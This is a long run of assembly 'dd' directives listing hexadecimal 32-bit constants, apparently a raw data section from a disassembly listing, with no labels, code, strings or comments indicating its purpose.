		dd 941BF2A9h, 192F9E1Dh, 0BD7B6800h, 0E3C238h, 6C823D5Eh
		dd 0D5CAEC2Ah, 0B8E49831h, 0EC602947h, 0B63F021Dh, 10504271h
		dd 0FE0040D5h, 0FB8A0075h, 0C8652BF5h, 262EB2B9h, 2F014511h
		dd 0B0CE3BC9h, 0BFCD9841h, 0E885C8h, 0B7479832h, 92DD175Dh
		dd 0B18D100h, 0BA1EF059h, 0DE083C57h, 0B9035500h, 902E6FD2h
		dd 0F9001498h, 1C93C5D6h, 1FB141C3h, 401D638Ah,	2F46B48Ch
		dd 2C00A55Ah, 0A0953837h, 0AB240Bh, 626A996Ch, 0F8C6787Eh
		dd 1190F500h, 63A80CFh,	3C200023h, 2AC5A2C9h, 340709CDh
		dd 626B3292h, 784AF90h
		dd 0F516000Bh, 5D457AA3h, 2EEF1BAh, 1E134B00h, 8568FAAh
		dd 47190016h, 0CF70E232h, 5A036058h, 594CF7EBh,	281A917Ah
		dd 0C4B460h, 354D4294h,	0E0D4C08Eh, 79D63Fh, 87CE3845h
		dd 1F7F8h, 4095EA5h, 0D2FF3630h, 57A95D00h, 163F0F2Ah
		dd 0C4A403D6h, 58102C21h, 1E85BEE8h, 5E901B2Eh,	4000E826h
		dd 9FD660C1h, 2DA17333h, 0A6DE9662h, 678F9800h,	27B8D8h
		dd 0E1532FB5h, 0F4F2C233h, 22DE022Ch, 29134200h, 1E3047Bh
		dd 1BE039FEh, 0C053058Ah, 82184A4Fh, 0CCF0E769h, 812800D6h
		dd 0F382498h, 0DEE63AF9h, 4FE78200h, 3B081B0Dh,	346F2F3h
		dd 509FFFC6h, 0EA005733h, 54397CE4h, 0D96120h, 0CD1872ECh
		dd 63F92D2Ah, 4EF79203h, 0E07333E0h, 3C7671Fh, 0BAD0B58Dh
		dd 1BC81CD2h, 460CDDBDh, 91378844h, 73AC0032h, 0FA09CE39h
		dd 2400038Ch, 98839C4Ah, 0A168B5A2h, 64C4C9F4h,	53E01885h
		dd 8D8438E6h, 447A0600h, 0CE9C4BB8h, 2B9B0078h,	0FD98630Ch
		dd 3707DE29h, 34C3BB55h, 0CBF5AEB0h, 1294F021h,	67B070h
		dd 0FFC01267h, 0A900FD55h, 1CF4E106h, 374632h, 20B81B3Eh
		dd 47F5FA8Ch, 0C2D43Ch,	406D252h, 0E85BEAh, 0F1A49E57h
		dd 0ECCF619Dh, 65030BFEh, 7FB606FFh, 8ED488A1h,	0E394003Bh
		dd 0D9D6E5F3h, 78264B4Dh, 0DA017090h, 945222D2h, 169B67CCh
		dd 1D836CA8h, 0C2424014h, 7C24E835h, 21D2CF00h,	0AB4CA9AAh
		dd 8C6004Ah, 0C52A6164h, 7200A198h, 1AD4983h, 5C815BCAh
		dd 4D0044EBh, 0D2A25206h, 0EE1EC414h, 5E4B8093h, 83AC0E2Dh
		dd 0BBE24359h, 0D81D98F0h, 0F50A0098h, 0DEA22F15h, 0A1014D7Ah
		dd 13EF338Fh, 0AEE0F8D3h, 837B00CEh, 4096F7D2h,	0AF90750Dh
		dd 0E9A43Ah, 0F54CE52Ch, 7779DDh, 67E387C0h, 0AF46CECh
		dd 0AD99BA09h, 0EBCC80D2h, 1872DF7Ah, 1001644Ah, 0BA00A665h
		dd 58C0CE77h, 0F81B98h,	82CB81EDh, 0B259FBACh, 8DB33501h
		dd 0DCB89E02h, 397A29C4h, 5F80939Dh, 125987ADh,	7D0E34E9h
		dd 0EF448855h, 4B77402Dh, 4C0360D5h, 4900080Eh,	0C6F8B15Fh
		dd 0AC0056DDh, 0DB70DCDEh, 99B935h, 1F8B08CAh, 4ABF4E3Ah
		dd 8CD7EC00h, 0EB14C36Fh, 11A50070h, 85236272h,	4E00AF89h
		dd 0BAAC13A8h, 30529805h, 0BD584F78h, 6D01242Bh, 5B8AF1DFh
		dd 1AF9F7F4h, 0EE7FFC40h, 4407027Bh, 6F52E3FBh,	0D4DF3FC1h
		dd 0C800776Dh, 22FCE974h, 382163Dh, 5BD4244h, 29006B4Ch
		dd 97C460F3h, 0BE87Bh, 754DA8B5h, 54760CA7h, 9E7F9C1Dh
		dd 1B003064h, 0E18805DFh, 1CB02606h, 0A0960F38h, 1F2803E0h
		dd 9874FFC7h, 4C635379h, 0E0780930h, 0E22AACh, 9261492Bh
		dd 5BF1254Eh, 5FB46700h, 0BC95E622h, 97EF0068h,	35A8579Bh
		dd 9E00FC82h, 187B568Eh, 0FDF173Fh, 5D111ADEh, 701D5220h
		dd 84051BDAh, 0C3FDE650h, 973E4800h, 1505319Eh,	54CAE1D4h
		dd 0C840B420h, 0FC52009Fh, 0A98EAB64h, 0D413D371h, 3900DF40h
		dd 488D357Ch, 5EDD0055h, 7417BCBAh, 103E8C9Bh, 0DA3E87DBh
		dd 25918172h, 19FCF4DEh, 9786007Fh, 0F2290991h,	90007BE9h
		dd 127708Eh, 3EA58162h,	4C00FA4Dh, 9B764067h, 98C029C6h
		dd 0CF063213h, 3757CEAh, 622631C3h, 0F20F4DA7h,	5091392h
		dd 1800E4CEh, 0A2EDC9BFh, 56A50EB6h, 8B9A3B7h, 0F1218019h
		dd 0D727EDACh, 381AF086h, 8B1D15FAh, 1F03A07Ah,	5B9992F5h
		dd 0BB110063h, 95E50338h, 7F195033h, 650843E1h,	0C0BD2187h
		dd 0AABF7003h, 68C023BCh, 6B7EED5Dh, 4D130EADh,	49E05278h
		dd 91124251h, 52F0F54Eh, 88680093h, 0CAEF3C86h,	620F6C39h
		dd 5492F47Ah, 3158040h,	8C4B95F0h, 929D20h, 2703DDBCh
		dd 0F458FC79h, 99B38700h, 3DA9AF09h, 981451BAh,	30DF9402h
		dd 7B11EDC4h, 2588DDB6h, 0EDAF3C80h, 0F97CD0h, 4B49978Ch
		dd 0D9F22477h, 0A9BE9232h, 6FA3E1B2h, 0CF9BB880h, 34A988EBh
		dd 0E767D000h, 438122E0h, 8988A032h, 967E0F59h,	60C02627h
		dd 0FDF14109h, 7F54BF00h, 0E1FC1099h, 668F00E3h, 985090C8h
		dd 0CCF4C7BEh, 2EFEE503h, 0C92AA58Bh, 6DC8F9D7h, 4E7C0036h
		dd 184AAE23h, 9E3A82F4h, 4993000Bh, 7904AF8Fh, 0DC0A00C8h
		dd 3CB0EAEh, 6558D883h,	0ACD000EEh, 12AC09Dh, 4AF02C45h
		dd 675F0014h, 0C5C796AFh, 5C2C4100h, 93B3833h, 0BA5300A6h
		dd 8002CF27h, 7960D029h, 13353348h, 46F40691h, 18D1E456h
		dd 0EEFCD800h, 22AE9E0h, 85AF1EB3h, 8115806Bh, 4B3D2FAEh
		dd 0B1BFA300h, 0EA56C92Ch, 2E4F3EB3h, 31DB0C01h, 876A4D5Eh
		dd 697D94A9h, 14D1FC57h, 42D0BD7Ch, 0E2FA0028h,	0C1324530h
		dd 0DC009CD4h, 6685CFDDh, 1ED7485Fh, 5B2ECBEAh,	0B007B8CCh
		dd 1C4D9271h, 2CC4C090h, 182E6078h, 0E60AAEC7h,	770DA900h
		dd 0A862D8DAh, 8E285052h, 0C82F0334h, 72DC46BEh, 0AC215CC0h
		dd 0B37A3F03h, 7517FCh,	60F462A8h, 0B7D277CFh, 0A058226Fh
		dd 0AF8C1971h, 7D101D3h, 0DD2F56A1h, 44AC4014h,	48C38160h
		dd 74A663h, 83ABBFD0h, 0A4CE51EBh, 0E7A5DE1Dh, 0B1116B84h
		dd 540BB980h, 7B190087h, 480AF1F7h, 0F863FEF0h,	3E6B8B08h
		dd 7B80B920h, 66141BC6h, 75009962h, 0EB7DE4E3h,	1D6F634h
		dd 6755E1B6h, 0CC231EC5h, 62EC783Ch, 0C2E8E21Dh, 0D700E711h
		dd 428D2416h, 0C1FEBC65h, 994880E5h, 4A670985h,	88960789h
		dd 0E328BB42h, 2061D1B1h, 0D76A67A9h, 0C10048BCh, 2501A421h
		dd 4B00808Dh, 624FFDAh,	30999634h, 15E9E3C3h, 4841B05h
		dd 0F5A37B2Dh, 76663EAh, 7B25BD21h, 0AD450ECh, 6A317275h
		dd 0B9657802h, 3E5C7FCh, 0DF4B7BBh, 88066DCh, 36003E7Dh
		dd 0AD09D09Bh, 73A89C2h, 0DBB406Dh, 0E7C91067h,	160F9770h
		dd 9853AEDDh, 700EABC1h, 0DBD03DBh, 0A562AF82h,	21D50830h
		dd 0C3F9974h, 7971DE7Ch, 8602F0A1h, 6764DAEAh, 970D40C1h
		dd 0D0490F57h, 0F240136Bh, 4B2E3A29h, 6200B7F8h, 0C5256909h
		dd 7BF11C04h, 310F0721h, 7948E8h, 15071DE6h, 3D29E303h
		dd 80AFB636h, 0BA8E26h,	0F886841Eh, 0DADF1D0Ch,	0B2004E78h
		dd 767A7BEFh, 3BA82DD5h, 8B00D410h, 2E205C55h, 59001358h
		dd 0E446C15Dh, 0B805B0h, 5C09E881h, 0AACDB41Ch,	8FA31600h
		dd 4439D2D4h, 0C7F70078h, 4FF23603h, 1D005697h,	0E7EB16B4h
		dd 787A548Eh, 1C60CEE9h, 30490E2Dh, 0A7B896B5h,	3AFC358h
		dd 0AD49CF61h, 0FA69A8E8h, 2367001Eh, 56A20F63h, 7100F920h
		dd 0D29625A6h, 188A5112h, 599F9EA5h, 630064F0h,	921059DAh
		dd 1EDB4AEh, 2E6B1FE6h,	0D09D3240h, 0B6002686h,	91F62F68h
		dd 60F2C3FEh, 4E24A06Ch, 6503D5A1h, 1657D49Eh, 0FC181C87h
		dd 425800B8h, 8F56014Ch, 0F9742406h, 7C39639Fh,	0C4C3095Ah
		dd 0B00088Bh, 2742D867h, 5CE2D100h, 0FBC925A7h,	956F00DFh
		dd 2D1A44D3h, 0D4E146BDh, 0A198862Ch, 0FB35800h, 1EFBCC91h
		dd 44681EEEh, 8D2E07FEh, 0BF230188h, 708D41Bh, 4AD4A400h
		dd 84E6D5BCh, 0E4B6018Dh, 943BA327h, 0BCF8D13Dh, 84E28721h
		dd 5FF12E30h, 0F60D0D6h, 9BCE005Ah, 99AF6B80h, 3500CB79h
		dd 1F32EA88h, 3C07689h,	67109F86h, 8801E566h, 8D2F270Eh
		dd 58B28834h, 0E9300D88h, 8F5A0884h, 86E267Ch, 556400D7h
		dd 5DB3619Eh, 0FF1EA000h, 358DD3BEh, 98F50171h,	22FFD09h
		dd 769BE46h, 0ABF6C51h,	0E0B3C0C2h, 0C3B25D26h,	10772AA8h
		dd 0D457A681h, 9C6D903h
		dd 20C84Eh, 3AE48F0Ah, 5136BECFh, 48AC6430h, 71CF3AFh
		dd 0AD12A478h, 573BD082h, 300DC5Ch, 0CD3666DAh,	0F50A09h
		dd 997064CCh, 3BA4B11Eh, 58A5BB02h, 0C08FE5E7h,	0FB41ACh
		dd 0CE1639CDh, 0BEA026EEh, 83E26703h, 0E82F8654h, 718430AAh
		dd 0DA370003h, 319762F4h, 7100E12Ah, 1ECBDE4Ch,	0B107C7h
		dd 539DBE6Bh, 0A3F2098h, 22588919h, 21875508h, 502FF768h
		dd 1EB221A1h, 947CC6ECh, 805A700h, 3EDCB497h, 605EFE70h
		dd 0DF82196Ch, 0F680B656h, 6A4E0013h, 8D387CFBh, 81F8CA2Ch
		dd 0DE61AF60h, 79E37AE4h, 18803C9h, 0ADFACE5Dh,	1B5AC0BFh
		dd 0D0F8B8A0h, 31213506h, 39A623h, 0FE8017F6h, 3F7FDFA3h
		dd 0CD2EB707h, 0EA834283h, 1ED293E8h, 1932780h,	0E2ACA34Ah
		dd 6E6DC44Dh, 80C08F3Fh, 0D87CAE69h, 9873E3DFh,	0E9D7561h
		dd 0A98B4134h, 0F090D9C7h, 74A0CC0Dh, 0A2F74Ch,	667917D3h
		dd 7D093670h, 56581F6Dh, 1680BDDFh, 8ED4A5DAh, 500B782h
		dd 11FC9403h, 1F47F390h, 870854B5h, 50213209h, 0A0251B4h
		dd 0E284DE00h, 22F5FFD3h, 1FA7002Eh, 3BC0C14Eh,	1B7EC227h
		dd 0B6932B1Eh, 3A588703h, 41380688h, 18ED1670h,	5E4EDD0Eh
		dd 1F3AFF0Eh, 53802450h, 6F1EFD28h, 56710333h, 0D4D58FFh
		dd 400050C3h, 0BC17725Ah, 8E3009h, 0F07B039Bh, 6E3E7435h
		dd 0FCFAB00h, 46824AC1h, 0D88C00BDh, 50634EF9h,	0A20CEB5Eh
		dd 71048BA4h, 428100D9h, 7024AC4h, 351837BCh, 5E686734h
		dd 8B7021h, 8C048253h, 0DC8331D3h, 4B03BEE8h, 0AD47F8E0h
		dd 248053Bh, 5834D9h, 65FC8DA8h, 0F8002398h, 46519315h
		dd 0C09F05Dh, 5FE6AF9Fh, 0BE003330h, 327987D4h,	1FEEB4C5h
		dd 86D272EBh, 61BF66D3h, 1B602507h, 1E4019B0h, 2E8642h
		dd 0AA27856Fh, 839E6ED3h, 0F9154174h, 7907C99h,	8DFF1DBEh
		dd 51DCEA00h, 170600D3h, 279F7D39h, 0A4A47F32h,	66419B2Eh
		dd 0CA9C7E00h, 0CB8EF1h, 6107E8D5h, 8BF6A0C3h, 0B1785200h
		dd 6E4A9B98h, 13F500C9h, 9A93A5D2h, 0CF003E91h,	0C646A957h
		dd 0FA371504h, 0DC3100D0h, 7392170Ch, 0F506F366h, 1A860FEBh
		dd 8325030Eh, 79FB475h,	24103Dh, 10806D88h, 1F53FD35h
		dd 4165BBA7h, 9F856E8Dh, 5728800Dh, 8B94C744h, 458400B8h
		dd 0CE775497h, 3003C529h, 0D41A7C4Bh, 0E996E046h, 833B0052h
		dd 557F459Dh, 5B0C4994h, 0B0CEC865h, 0D4412C3Eh, 0EC820E8Dh
		dd 8960B20h, 3700E2DCh,	0EAF95C63h, 8145B9h, 44853FAEh
		dd 0D40C087Ch, 2A53FC00h, 2977FAABh, 50C663A5h,	0AEEFE867h
		dd 609AA898h, 0E913561h, 1880AAE5h, 998856CCh, 0AC000FDBh
		dd 266E503Eh, 0FE70B47Ah, 654D0091h, 0AEA6FDD1h, 5C0031A9h
		dd 0E0873954h, 20924E5h, 0FA481D35h, 0F280F67Eh, 2585D67Fh
		dd 8647FD3Ah, 1F7388FEh, 21AC6708h, 3A2630EDh, 640052F9h
		dd 0B130DBC8h, 3BDDD4E0h, 0CE033519h, 0DA4975D2h, 5AAD6AC0h
		dd 0CF865200h, 672F0540h, 0F648C0C3h, 0D495A6DEh, 721851F2h
		dd 1B098992h, 0FE20C019h, 0C58F95FAh, 1DD9E800h, 0B43B59D5h
		dd 518404Ah, 28007BB8h,	0CDBB9CD0h, 3DC9831Dh, 4E004B06h
		dd 8D04D676h, 6C03A415h, 0E0EBA382h, 28E9187Ch,	4291D194h
		dd 808E6900h, 0B5444E46h, 35700096h, 86A694CAh,	0E666C8ECh
		dd 1F6FD39h, 5B17B641h,	983F99DFh, 0BE900208h, 52233FD8h
		dd 7A796900h, 6A882D35h, 60D79418h, 953679h, 0FD1525CEh
		dd 2D867F1Bh, 97EE6201h, 20A49987h, 0BB32C840h,	0A85550F1h
		dd 3D83004Ah, 1330456Ah, 0E500DB2Fh, 25A464A7h,	32D988Eh
		dd 6FE83EA6h, 0EFB8EEB9h, 90073C1Ah, 4A066B83h,	3978C08Eh
		dd 0CE79B7h, 7B9DD29Eh,	0DB11DF32h, 40BD8300h, 0EFA8F25Bh
		dd 93130B56h, 5600CF6Bh, 15189CD1h, 5F41F00h, 4BD9F7F8h
		dd 43E204CDh, 8765392Ah, 0FE9D8069h, 0E800936Eh, 0E0FA58DBh
		dd 0FF4C3C8h, 76FF0A20h, 0D89B0360h, 0A500E3A4h, 154D0BD5h
		dd 5B9D1h, 0BBF11F6Ah, 0D435DB63h, 746B6E07h, 0E570E037h
		dd 0F3766F99h, 304360F0h, 1F183324h, 34400681h,	148703FFh
		dd 1ED36E3Dh, 3890E9F3h, 3300B819h, 0CB37D6C5h,	3EAAB0Bh
		dd 3EA8BD23h, 3DF00578h, 6900A5E7h, 2E55A3B6h, 3948CBFh
		dd 5F32F7DBh, 40032722h, 0DC23BBAFh, 11101DAh, 57DBA0B0h
		dd 0BD70F0C7h, 213609CCh, 0F3B400E1h, 0A356836Bh, 5A0CEF1Eh
		dd 0B822EEDCh, 0E3AE31C7h, 0F5AC2128h, 3807D35Dh, 0F438DCA5h
		dd 72832A6h, 0E747B5D7h, 4E8957FDh, 393F0A5Eh, 7CA9384h
		dd 0E03C31FDh, 87C36543h, 0B7EED3Ch, 0E9B51Bh, 0C5DECB6Ch
		dd 0EA69E844h, 8ED507FAh, 634637B6h, 0E0D87E16h, 65FA0301h
		dd 0DAF70C02h, 0E00582B3h, 1D4B947h, 0D0528476h, 0C43678BAh
		dd 8D1DF82Dh, 0FA5CEFh,	0D443D785h, 1C0B09h, 0AF469CBEh
		dd 7FA9C6A3h, 758F5E01h, 14C51053h, 580336D4h, 7C0100ADh
		dd 0FD176943h, 0FB18807Bh, 97092AE2h, 0AFDE0144h, 0A433437Dh
		dd 0ED1AF1F8h, 0D4B2F092h, 190E7080h, 49D1E45Fh, 80AEE896h
		dd 5BB35103h, 1B7B4B7Fh, 30AB7908h, 1DAA3B98h, 8CC44103h
		dd 0D0952Ch, 156D3618h,	37D276BEh, 2E696A00h, 28FBFA5Ch
		dd 0E73E17BDh, 0DCFC0Fh, 8C451B42h, 0A8EB890Eh,	11AABD3Ch
		dd 8C6351AEh, 1D01A923h, 40ECAFB6h, 1E80CD8Fh, 3A019852h
		dd 1D37BBADh, 71D0FB02h, 0AA63EEAh, 3633A100h, 0D3F4116h
		dd 0B8A4DA28h, 0F239F100h, 66583D9Ch, 0C3320031h, 0A9CE0676h
		dd 0F500D678h, 0AFAEBC92h, 4CBF5D01h, 0A600751Dh, 6BB235E1h
		dd 1A00E7B9h, 0DAE60873h, 0C63C3Ah, 603E201Fh, 0D5EA254Dh
		dd 9D6FB33Ah, 0DA807E05h, 0CFCAF540h, 0AF3009Ch, 1FC82111h
		dd 0BC00E414h, 5E903934h, 66CFE5h, 80DB2854h, 0AE97AAABh
		dd 0AC5A761Dh, 0BC43CBC1h, 0CAF81687h, 0CD070081h, 6E7C868Fh
		dd 4400729Dh, 1F75C203h, 0EAFC398Bh, 703000EEh,	36FDC4CDh
		dd 0F2001B54h, 132F0888h, 0B49BD1h, 0CF436A8Bh,	84617035h
		dd 75FFBC0Fh, 0D8A600CBh, 5301BBh, 8FD97904h, 2FBA69BDh
		dd 3F54B700h, 95ACA21Fh, 0E7DA00CFh, 0AB8A4BCCh, 0F50B47E5h
		dd 4CF1B4h, 0B9ECBFDh, 7EA7EAE8h, 4F803D5h, 0FDE67167h
		dd 0CE1FA003h, 0F8CF35CDh, 0E2285F0h, 5B27DE3h,	47796F40h
		dd 400F455Eh, 667E959h,	1F19E6B8h, 9061BE50h, 0BD9000DEh
		dd 0AF1C543h, 0F2E4009Ah, 8D6E207Ah, 0C70763DBh, 4BAC6BD5h
		dd 55FE13A0h, 1E5708Ch,	77E208C3h, 3F73E719h, 44C8F0h
		dd 5669A84Bh, 1BE03F05h, 9754F300h, 0C137AC6Fh,	57680058h
		dd 0B9787C8Fh, 0DE120DF6h, 891C2680h, 9655EC40h, 1D84FB63h
		dd 40B6BAADh, 9C235A94h, 420C2AA2h, 91892B6Dh, 54020095h
		dd 0B709695Fh, 4B050830h, 0A0C0A8C8h, 6F76DC80h, 405E677Eh
		dd 0B82A4215h, 0A427C057h, 5CDE301Fh, 22450618h, 68AAE70Fh
		dd 0CBC01EC7h, 9E9F65BFh, 69C03BF8h, 773A8D80h,	8E17C76Bh
		dd 0CB295C00h, 48FFCAB2h, 2E2B0BC3h, 61805565h,	0A568AFFEh
		dd 37AD4A00h, 38302CD1h, 8710187Ch, 8D6AB9C5h, 0F10C2AF4h
		dd 0A8DEB395h, 0DDFE400Ah, 0D3ECCD13h, 0C484A600h, 8D89Ch
		dd 0DAB71445h, 77AD2BE9h, 0C8DB4C00h, 95A74A43h, 8C0800FEh
		dd 3F46B78Fh, 59008993h, 0D2DCAC72h, 0C04BF4B3h, 9C7E1C18h
		dd 5A2C7186h, 191E1520h, 1A956143h, 8C0E08Eh, 72D60C9Ch
		dd 0BA108946h, 9BD45500h
		dd 3647A115h, 8AD6B05h,	0DA20570Ch, 9F267F98h, 6600526Fh
		dd 95579DE4h, 6B0E079Ah, 0C08C442h, 8D01BA88h, 3F4F1EF2h
		dd 0DF8E4Bh, 0F567CF40h, 1B6C5E3Bh, 583E36F8h, 53EC2E4Ch
		dd 46DCAD01h, 1EFAA80h,	17D49AC0h, 80FB77AFh, 53812D10h
		dd 66D91h, 8E938DE3h, 962A47B2h, 7700DCF6h, 3B720D66h
		dd 7985615h, 1F871439h,	0C574102Ah, 810004A2h, 8A32F46Ch
		dd 2430E0E4h, 96435Ch, 0DDE55D96h, 93002645h, 7ED1223Ah
		dd 1E1BDA4Dh, 473F7803h, 0EB3C13h, 5AFA2FD8h, 97D2E000h
		dd 2E48B16Ch, 0BBA50098h, 0D7CEE750h, 2F048629h, 8158EBDDh
		dd 126A8580h, 0A9F0001h, 65ADD693h, 2707AEC2h, 0A01D5A1Ch
		dd 9DB6AC21h, 73C40F4h,	9236552Ch, 120DE0AEh, 85F85AC9h
		dd 20942E30h, 63BEBh, 1570DE23h, 22654172h, 0A564D200h
		dd 55B20D1Bh, 3CBDB853h, 0BF1E07DEh, 8520C38Fh,	19008EDBh
		dd 6670D2A0h, 20DA545Ch, 6E008C77h, 17DD9EC1h, 3C6F4BCAh
		dd 66802EDEh, 4772D4B7h, 430C843Eh, 0E1C559F1h,	64578CAh
		dd 17749DACh, 8500A086h, 0F66B27F5h, 30F3EE07h,	3B9AB38h
		dd 600D9D8h, 0E253C2F8h, 19C1751h, 489A5482h, 0F8FC158Ch
		dd 0C2000F2Ch, 418744BFh, 8861D5h, 67E1421Eh, 8BE3A651h
		dd 40E5FE00h, 3204050Ch, 71FF0095h, 16C4823Ah, 0F8005BD3h
		dd 591CF66Ch, 7B52E5D9h, 0F690056h, 400E6B88h, 0A400B8D8h
		dd 0A6673EE9h, 625625h,	0B4FC5A2Ah, 0E1F2409Bh,	3423E503h
		dd 0F8651695h, 0C0D0A573h, 4111351h, 87EE0764h,	0B637CF0Ch
		dd 988D18E6h, 52D83F99h, 50F6A00h, 41EB44B0h, 9C3ED970h
		dd 0B47806Ch, 36715081h, 7D4EF40Dh, 407700B1h, 37FA89E9h
		dd 0C4009060h, 0A3B2BB1Dh, 78B52B20h, 504A0F67h, 0D9A16BACh
		dd 9FBAF2FFh, 8CC2D278h, 0E080479Ah, 3C46EBAh, 58ABE25Eh
		dd 881D45ECh, 0CF5D2BB2h, 24DE603h, 13701E06h, 0C3E900F5h
		dd 55C542DAh, 0E4480400h, 4C5B0A7Ch, 28BEFBCBh,	0F3C09300h
		dd 0D8A8F03h, 0E800C774h, 0C2BC6D4Dh, 972520h, 0AED2CBA4h
		dd 9E5C1C55h, 12AB7D03h, 0A051DCB8h, 3AAA988Dh,	87008CF6h
		dd 609F670Fh, 0A00ED40h, 15217CACh, 1F0C1283h, 40747598h
		dd 8ACB87A6h, 40C050C2h, 0D5142362h, 54AA3A33h,	1880E898h
		dd 0F7935D8h, 12C54Ch, 0CD28A64Dh, 3C47476h, 46D165FCh
		dd 3803F977h, 4DB16D55h, 0BE6B8A7h, 6729297Ah, 2B94002Ch
		dd 0E4C1CE25h, 0A3E6BF00h, 0C6AC825Fh, 99766034h, 59D1725Eh
		dd 0C80ACA00h, 93753E45h, 90DF6788h, 0A298C057h, 6D0C49A8h
		dd 18AAEC52h, 0E1A90177h, 0BC2A9364h, 0B73ACCC6h, 87A8F600h
		dd 11BE6555h, 0A50F15ECh, 0DC0E98A9h, 2B8E7638h, 5EA70A20h
		dd 0A5007B4Ah, 0FE05FC52h, 8FE8FAh, 2CC8EE97h, 4A40F213h
		dd 0D9C13D01h, 67AF440Fh, 0A3C2AF4h, 24E510BCh,	3A488024h
		dd 81F4FCCBh, 0EE87C500h, 0D474D6BBh, 15C4A00Ah, 76B9C00Eh
		dd 0A74CB833h, 4E4AE00h, 0E06CA4C7h, 1A210079h,	0E7A5E892h
		dd 840008EDh, 0F223BFFEh, 0A0F3E65Ah, 6A7AFDCh,	0A1C1AA4Ah
		dd 0FD7150BDh, 0B81D4D28h, 88188402h, 80155BD5h, 0F1E39BDCh
		dd 41A33CC6h, 0A0A84200h, 95C31617h, 405F6701h,	61C92219h
		dd 385A52D0h, 2A0E6BB4h, 0C560788Dh, 0CCC1A2D8h, 87C09550h
		dd 47C01C00h, 55B8348Eh, 0D6F0012Bh, 14F3CD89h,	9AEBF8A6h
		dd 0A835C139h, 520094C4h, 0D27DFCBFh, 1ED1280Fh, 0C460167Ah
		dd 0C0A969E7h, 33381B4Dh, 0CA0A3500h, 3ED5BF15h, 0DF1C1DD4h
		dd 0F830CA2h, 35FE9E20h, 1F03495Ch, 0F4C02FB0h,	8B91DDF7h
		dd 0C7370738h, 0DE33E9F5h, 0AD6F2540h, 0B3260A5Fh, 0D10E4652h
		dd 0FA57E1AAh, 0F8C3724Dh, 0E4729F8h, 3868C75Fh, 10BFA7C0h
		dd 0B478D532h, 0B1533Fh, 9F8D772Ah, 74346C09h, 3BA4005Eh
		dd 43A1386Ah, 8C00D361h, 45EF8073h, 0E83FEC8h, 0E19C10C1h
		dd 0B2D9538Ch, 68280D00h, 75F99D3Fh, 0B989D844h, 6914B333h
		dd 0CE84FD63h, 0BF684264h, 0C2E230A5h, 60334800h, 6D53CA36h
		dd 0F6AF016Ch, 135514E4h, 0DC85E0F3h, 83066AFAh, 47C6848Dh
		dd 12D021D8h, 261C089h,	0A45E4541h, 9440A56Ch, 1F5F8A73h
		dd 0B6608018h, 0F533B150h, 76106ECh, 1E14D537h,	41714015h
		dd 9B1DEFA7h, 4F0CF682h, 7E3E20B5h, 0D6376A8h, 3342F91Dh
		dd 0B7F807F0h, 0B6F1B359h, 0F25BEAE0h, 1BA80500h, 0D964DAD5h
		dd 4CA0E0FCh, 4600A03Dh, 7F97AA25h, 36030C58h, 86F84180h
		dd 4EDB90C3h, 79D1075Eh, 0F05F74A1h, 0B7E89D07h, 99B8EE00h
		dd 0D89F383Dh, 2B9C1EAFh, 262F87A2h, 0E6C6B065h, 8B072CF1h
		dd 0E9DB7B5Ch, 0D147F30h, 767E6CFh, 0A1E8F5A3h,	40E04051h
		dd 7F00208Dh, 0F73F72FFh, 0A0F8B4D0h, 1289F1h, 88EC9541h
		dd 45C31B0Fh, 0F7006579h, 5D4F32C0h, 51FF6BC5h,	4DF8AB61h
		dd 7BFD989Fh, 500B00A7h, 9228C17h, 0C0015E3h, 937DD5D3h
		dd 1D737D4h, 0CC07F192h, 60DA381Ch, 2807333Ch, 0A24BA653h
		dd 3264DFE0h, 6D471E89h, 8E0E3D1Ah, 0E7C0F737h,	13AEF8A0h
		dd 52AC571Dh, 0AAEB7380h, 112C70h, 0D4F6C5CAh, 747AF71Fh
		dd 32CE9900h, 4713A28Eh, 0F92A0051h, 60AF3B91h,	0D100A7E2h
		dd 4C30B3D4h, 0BD1011h,	0FD0385F5h, 0EE5A893h, 0EFD1FB00h
		dd 720DE999h, 0F95D0050h, 2CBCE886h, 544807E6h,	0F7017E56h
		dd 44F2BBB7h, 0DBD84B15h, 0E0053FDCh, 69F56300h, 829A5CEAh
		dd 91BC025Fh, 0BEB7D800h, 0B93B295Fh, 450081DDh, 7B787D5Dh
		dd 0C57900AAh, 0EDFFE2B8h, 58004694h, 1CA05706h, 1D93F96Bh
		dd 9C1D8BE8h, 0FA794090h, 0D3DDB382h, 7482D24h,	0C74CAB05h
		dd 8960BF87h, 7337A101h, 978700D6h, 0E81AD5Ah, 0B326DF31h
		dd 6F004CBFh, 7F78C5C7h, 0F6FE0ED0h, 0E86016F7h, 0D3C14ADFh
		dd 8EF10400h, 5129B2D1h, 2E961D0Bh, 6703FE5Fh, 935ED2A4h
		dd 8353D7E8h, 21007778h, 0E53A323Bh, 0F8747DBDh, 0C3F604B2h
		dd 0C091B1EEh, 222BC624h, 5FB88079h, 2F00D378h,	353D44CEh
		dd 7A826055h, 8B02008Fh, 0FDD8AEE0h, 8E007B9Ch,	1CA661AFh
		dd 0C3DD86h, 7AB31066h,	939F5395h, 6A152700h, 0B479F929h
		dd 0D5440E2Ch, 80BF3519h, 0A4E7F712h, 0D03A1DCh, 0CB1F71F3h
		dd 4E3BF89Ah, 8D8B07A9h, 0F9637410h, 0ECDFF480h, 3300962Eh
		dd 0E53064C9h, 0B85968E8h, 7273013Eh, 0DEF94111h, 8F0C2487h
		dd 40001CE4h, 60A9C294h, 0CF641Eh, 8329467Ch, 0AE9D91FBh
		dd 0E5687F00h, 0AC618EEh, 82A50358h, 0E497074Dh, 26A2ECC0h
		dd 8ACDC800h, 49F0D54h,	5B140016h, 0E4690FB3h, 0FD04835Ah
		dd 80FE94F9h, 70C91880h, 0C4EF0293h, 63B12132h,	9A5709C0h
		dd 82088300h, 8847447Ah, 3D20E9D8h, 0E10E0BBh, 0A1E774C7h
		dd 352AC000h, 1C01D123h, 0CD2467C4h, 22C8AD8Dh,	0CC3B0328h
		dd 5E2BD88Eh, 0A2F6B8F8h, 88C93F00h, 70C7822Ah,	19A81CD0h
		dd 6EE5408Eh, 0B6AE993Ch, 2EAEC3Ah, 0CC22773Dh,	0E7C44864h
		dd 1C2600FCh, 93F24C0Ch, 0DE3AA0C5h, 826307A3h,	0B0A038A1h
		dd 689F76h, 6E08EEB1h, 94F472DCh, 1DED5900h, 4E4B1C01h
		dd 3346004Dh, 9C191A7Fh, 87014540h, 7015F2DFh, 0B0241277h
		dd 14B848B2h, 0AE3A423Ch, 26A19F00h, 0DE17AB6Bh, 0A027E92Ch
		dd 6AEC7F38h, 7800A070h, 0CA65D685h, 0F28E90h, 0FF95C62Ch
